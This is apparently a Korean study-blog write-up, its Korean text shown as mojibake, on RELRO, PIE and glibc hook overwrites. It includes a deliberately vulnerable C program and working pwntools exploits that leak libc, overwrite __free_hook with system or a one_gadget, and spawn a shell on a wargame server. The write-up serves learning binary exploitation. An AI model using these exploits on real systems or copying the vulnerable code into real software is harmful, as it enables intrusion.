TIL: PIE, RELRO, Hook Overwrite ๐ช
RELRO
RELRO(RELocation Read-Only)๋ write ๊ถํ์ด ๋ถํ์ํ data segment์ write ๊ถํ์ ์ ๊ฑฐํ๋ ๋ณดํธ ๊ธฐ๋ฒ์ ๋งํ๋ค. Partial RELRO์ Full RELRO ๋ ๊ฐ์ง๋ก ๋๋๋ค.
Partial RELRO
.init_array
, .fini_array
์ ๊ฐ์ process์ ์์๊ณผ ์ข
๋ฃ์ ์คํํ function๋ค์ address๋ฅผ ์ ์ฅํ๊ณ ์๋ section๋ค์ write ๊ถํ์ ์ ๊ฑฐํ๋ค.
Full RELRO
got์ write ๊ถํ์ด ์ ๊ฑฐ๋์ด ์์ผ๋ฉฐ, data์ bss section์๋ง write ๊ถํ์ด ์กด์ฌํ๋ค. (Lazy binding์ ํ์ง ์๊ณ , loading ์์ ์ ๋ชจ๋ binding์ด ์ผ์ด๋๋ค.)
gcc๋ ๊ธฐ๋ณธ์ ์ผ๋ก Full RELRO๋ฅผ ์ ์ฉํ๊ณ , PIE๋ฅผ ํด์ ํ๋ฉด Partial RELRO๋ฅผ ์ ์ฉํ๋ค.
Bypassing RELRO
Partial RELRO์ ๊ฒฝ์ฐ .init_array
, .fini_array
๋ ์์ญ์ overwriteํ๋ ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ด๋ ต์ง๋ง, GOT overwrite์ ์ฌ์ ํ ์ํํ ์ ์๋ค.
Full RELRO์ ๊ฒฝ์ฐ GOT overwrite์ด ๋ถ๊ฐ๋ฅํ๋ฏ๋ก library์ ์์นํ hook์ด๋ผ๋ function์ pointer๋ฅผ ๋ฎ์ด ์์ฐ๋ ๊ณต๊ฒฉ ๋ฐฉ์์ ์ฌ์ฉํ๋ค. (Hook overwrite)
PIE
PIE(Position-Independent Executable)์ ASLR์ด ์ฝ๋ ์์ญ์๋ ์ ์ฉ๋๋๋ก ํด์ฃผ๋ ๊ธฐ์ ์ด๋ค. gcc๋ PIE๋ฅผ ๊ธฐ๋ณธ์ ์ผ๋ก ์ ์ฉํ๋ค.
Bypassing PIE - Code base ๊ตฌํ๊ธฐ
ASLR ํ๊ฒฝ์์ PIE๊ฐ ์ ์ฉ๋ binary๋ ์คํ๋ ๋๋ง๋ค ๋ค๋ฅธ address์ ์ ์ฌ๋๋ค. ๋ฐ๋ผ์ PIE base, or code base๋ผ๊ณ ๋ถ๋ฆฌ๋ binary์ ์ฃผ์๋ฅผ ์์๋ด์ด์ผ ํ๋ค.
ROP๋ฅผ ๋ค๋ฃจ๋ stage์์ library์ base ์ฃผ์๋ฅผ ๊ตฌํ ๋์ฒ๋ผ code section ๋ด์ ์์์ address๋ฅผ ์ฝ๊ณ , ์ด ์ฃผ์์์ offset์ ๋นผ์ด base๋ฅผ ๊ตฌํ ์ ์๋ค.
Bypassing PIE - Partial Overwrite
ASLR์ ํน์ฑ ์ code section์ ์ฃผ์๋ ํ์ 12 bit ๊ฐ์ ํญ์ ๊ฐ์ผ๋ฏ๋ก, ์ฌ์ฉํ๋ ค๋ code gadget์ address๊ฐ return address์ ํ์ ํ byte๋ง ๋ค๋ฅด๋ค๋ฉด ์ด ๊ฐ๋ง์ overwriteํ์ฌ ์ํ๋ code๋ฅผ ์คํํ ์ ์๋ค.
๋ง์ฝ ๋ byte ์ด์์ด ๋ค๋ฅธ address๋ก control flow๋ฅผ ์ฎ๊ธฐ๊ณ ์ ํ๋ค๋ฉด brute forcing์ด ํ์ํ๋ฉฐ, ๊ณต๊ฒฉ์ด ๋ฐ๋์ ์ฑ๊ณตํ์ง ์์ ์ ์๋ค.
Hook
Hooking์ OS๊ฐ ์ด๋ค code๋ฅผ ์คํํ๋ ค ํ ๋ ์ด๋ฅผ ๋์์ฑ์ด ๋ค๋ฅธ code๋ฅผ ์คํํ๊ฒ ํ๋ ๊ฒ์ ๋งํ๊ณ , ์ด๋ ์คํ๋๋ code๋ฅผ hook์ด๋ผ๊ณ ๋ถ๋ฅธ๋ค.
malloc
, free
, realloc
์ hook
libc.so
์ ๊ตฌํ๋์ด ์๋ malloc
, free
, realloc
์ ๋๋ฒ๊น
ํธ์๋ฅผ ์ํ hook ๋ณ์๊ฐ ์ ์๋์ด ์๋ค.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
malloc
์ __malloc_hook
์ด NULL์ด ์๋๋ผ๋ฉด malloc
์ ์ํํ๊ธฐ ์ ์ __malloc_hook
์ด pointํ๋ ํจ์๋ฅผ ์คํํ๋ค. ์ด๋ malloc
์ argument๋ hook ํจ์์ ์ ๋ฌ๋๋ค.
free
, realloc
๋ ๊ฐ์ ๋ฐฉ์์ผ๋ก __free_hook
, __realloc_hook
์ด๋ผ๋ hook ๋ณ์๋ฅผ ์ฌ์ฉํ๋ค.
__malloc_hook
, __free_hook
, __realloc_hook
์ ๋ง์ฐฌ๊ฐ์ง๋ก libc.so
์ ์ ์๋์ด ์๊ณ , ์ด๋ค์ bss
section์ ํฌํจ๋๋ค. โ bss
section์ write์ด ๊ฐ๋ฅํ๋ฏ๋ก hook์ ๊ฐ์ ์กฐ์ํ ์ ์๋ค.
Hook overwrite
__malloc_hook
์ system
์ ์ฃผ์๋ก ๋ฎ๊ณ , malloc("/bin/sh")
์ ์ํํ๋ฉด shell์ ํ๋ํ ์ ์๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
Vulnerability scanning
-
checksec
- [1] Stack buffer overflow ํํธ์์ stack buffer overflow๊ฐ ๋ฐ์ํ๋ค. Stack buffer overflow๊ฐ ํ ๋ฒ๋ง ๋ฐ์ํ๊ธฐ ๋๋ฌธ์ stack์ overwriteํ ์๋ ์์ง๋ง, ํน์ ๊ฐ์ ์ฝ์ด๋ด๋ ๋ฐ์๋ ์ฌ์ฉํ ์ ์๋ค.
- [2] Arbitrary-Address-Write ํํธ๋ฅผ ์ด์ฉํด ์ํ๋ ์ฃผ์์ ์ํ๋ ๊ฐ์ ์ธ ์ ์๋ค.
- [3] Arbitrary-Address-Free ํํธ๋ฅผ ์ด์ฉํด ์ํ๋ ์ฃผ์์ memory๋ฅผ freeํ ์ ์๋ค.
Library์ ๋ณ์, ํจ์๋ค์ ์ฃผ์ ๊ตฌํ๊ธฐ
Stack์๋ main
์ return address์ธ __libc_start_main
์ ์ฃผ์๊ฐ ์ ํ ์๋ค. ์ด ํจ์๋ libc.so
์ ์ ์๋์ด ์์ผ๋ฏ๋ก ์ด ์ฃผ์๋ฅผ ์ด์ฉํด __free_hook
, system
, "/bin/sh"
์ ์ฃผ์๋ฅผ ์ป์ ์ ์์ ๊ฒ์ด๋ค.
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("./libc-2.27.so")
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - (libc.symbols["__libc_start_main"] + 231)
system = libc.symbols["system"] + libc_base
free_hook = libc.symbols["__free_hook"] + libc_base
binsh = next(libc.search(b"/bin/sh"))
- Stack์ ์๋
main
์ return address ์ง์ ๊น์ง์ ๋ถ๋ถ์ dummy data๋ก ์ฑ์ buffer๊ฐ ์ถ๋ ฅ๋ ๋ return address๋ ํจ๊ป ์ถ๋ ฅ๋๋๋ก ํ๋ค. gdb๋ฅผ ์ด์ฉํด ์ด 0x48 byte์ dummy data๋ฅผ ์ ๋ ฅํ๋ฉด ๋จ์ ์ ์ ์๋ค. -
gdb๋ฅผ ์ด์ฉํ๋ฉด
main
์ return address๋__libc_start_main + 231
์์ ์ ์ ์๋ค.๋ฐ๋ผ์ ์ป์ด๋ธ return address์์ libc ์์
__libc_start_main + 231
์ ๋นผ๋ฉด offset์ ์ป์ด๋ผ ์ ์๋ค. โsystem
,__free_hook
์ ์ฃผ์ ๊ณ์ฐ ๊ฐ๋ฅ "/bin/sh"
์ญ์libc
์์search()
๋ฅผ ์ด์ฉํด ์ฐพ์๋ผ ์ ์๋ค.
Exploit
from pwn import *
p = remote("host3.dreamhack.games", 18827)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - (libc.symbols["__libc_start_main"] + 231)
system = libc.symbols["system"] + libc_base
free_hook = libc.symbols["__free_hook"] + libc_base
binsh = next(libc.search(b"/bin/sh"))
# [2] Overwrite 'free_hook' with 'system'
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
one_gadget
one_gadget์ ์คํํ๋ฉด shell์ด ํ๋๋๋ ๋ฏธ๋ฆฌ ์์ฑ๋ shell code๋ฅผ ๋งํ๋ค. one_gadget
์ด๋ผ๋ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด libc
์์ ์ฝ๊ฒ one_gadget์ ์ฐพ์ ์ ์๋ค. (https://github.com/david942j/one_gadget)
์ด one_gadget์ ํ์ฉํ์ฌ __free_hook
์ one_gadget์ผ๋ก overwriteํจ์ผ๋ก์จ free
๊ฐ ์คํ๋๋ฉด ๋ฐ๋ก shell์ ์คํํ๋๋ก exploitํ ์๋ ์๋ค
์ด ๋ฐฉ์์ malloc
, free
๋ฑ์ ํจ์๋ค์ argument์ ๊ธธ์ด๊ฐ ์ ํ๋์ด ์๋ ๋ฑ์ ์ ์ฝ ์ฌํญ์ผ๋ก ์ธํด argument๋ก "/bin/sh"
๋ฅผ ๋ฃ๊ธฐ ํ๋ค ๋ ์ ์ฉํ๋ค.
from pwn import *
p = remote("host3.dreamhack.games", 18827)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - (libc.symbols["__libc_start_main"] + 231)
system = libc.symbols["system"] + libc_base
free_hook = libc.symbols["__free_hook"] + libc_base
og = libc_base + 0x4f432
# [2] Overwrite 'free_hook' with 'system'
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(og))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(12345)) # doesn't matter
p.interactive()
๋ฒ์ธ: ์ถ๊ฐ๋ก ์๊ฒ ๋ ์ฌ์ค๋ค
free_hook
, og
๋ฅผ str()
๋ก ๊ฐ์ธ sendํ๋ ์ด์
scanf('%d', &addr)
๊ณผ ๊ฐ์ด ์ฌ์ฉ์๋ก๋ถํฐ ์ซ์๋ฅผ ์
๋ ฅ๋ฐ๋ ์ฝ๋๋ ์ฌ์ฉ์๊ฐ 1234๋ฅผ ์
๋ ฅํ๋ฉด ๊ทธ๋๋ก ๋ฉ๋ชจ๋ฆฌ์ 1234๊ฐ ์ ์ฅ๋๋ค. ์ด๋ ๋ฌธ์ ์ scanf("%llu", &addr);
๋ ๋ง์ฐฌ๊ฐ์ง์ด๋ค.
โ ๋ฐ๋ก ๊ฐ์ byte ํํ๋ก ์นํํ ํ์ ์์ด, string์ผ๋ก๋ง ์ ํํด์ sendํ๋ฉด ๋๋ค. (send
๋ string์ argument๋ก ๋ฐ๋๋ค.)
๋ฐ๋ฉด, read
, gets
, scanf(%s)
์ ๊ฐ์ด ๋ฌธ์์ด์ ์
๋ ฅ ๋ฐ๋ ์ฝ๋๋ ์ฌ์ฉ์๊ฐ 1234๋ฅผ ์
๋ ฅํ๋ฉด 0x31 0x32 0x33 0x34๊ฐ ์
๋ ฅ๋๋ค.
โ p64()
์ ๊ฐ์ ํจ์๋ก ๊ฐ์ byte๋ก ๋ณํํ๊ณ , packingํด์ผ ์ฌ๋ฐ๋ฅธ ๊ฐ์ sendํ ์ ์๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์
๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ 0x00007fXXXXXXXOOO ํ์์ ๊ฐ๋๋ค. ํ์ 12 bit๊ฐ ๋์ผํ๊ณ , ์์ 24 bit๊ฐ ๋์ผํ๋ค.
Little-endian์ ์ํด memory์์ ๊ฐ์ด ์ถ๋ ฅ๋ ๋๋ ๋ฐ์ ๋ ์ํ๋ก ๋์ ํ์ 24 bit๊ฐ ๋์ผํ๊ณ , ์์ 12 bit๊ฐ ๋์ผํ๊ฒ ๋๋ค.
๋ฐ๋ผ์ exploit code์์ return address๋ฅผ ๊ตฌํ๋ ๊ณผ์ ์ ์์ธํ ์ดํด๋ณด์๋ฉด,
p.recvline()[:-1]
โ ์ถ๋ ฅ๋ ๊ฐ์์\n
์ ์ ๊ฑฐํ๋ค.p.recvline()[:-1].ljust(8, b"\x00")
โ address์ ๋งจ ์์ ์๋ (์ถ๋ ฅ๋ ์ํ์์ ๋งจ ๋ค์ ์๋) 0x00์ ๋ค์ชฝ์ ๋ถ์ฌ์ฃผ์ด address๊ฐ ์ด 8 byte๊ฐ ๋๋๋ก ํ๋ค.u64(p.recvline()[:-1].ljust(8, bโ\x00โ))
โ ์ถ๋ ฅ๋ ๊ฐ์ unpackํ๋ค. return address๋ ์ฝ๋์์printf("%s")
๊ผด๋ก ์ถ๋ ฅ๋๋๋ฐ, string์ memory์ ์ ์ฅ๋ ์์ ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ฏ๋ก unpack์ด ํ์ํ๋ค.
Leave a comment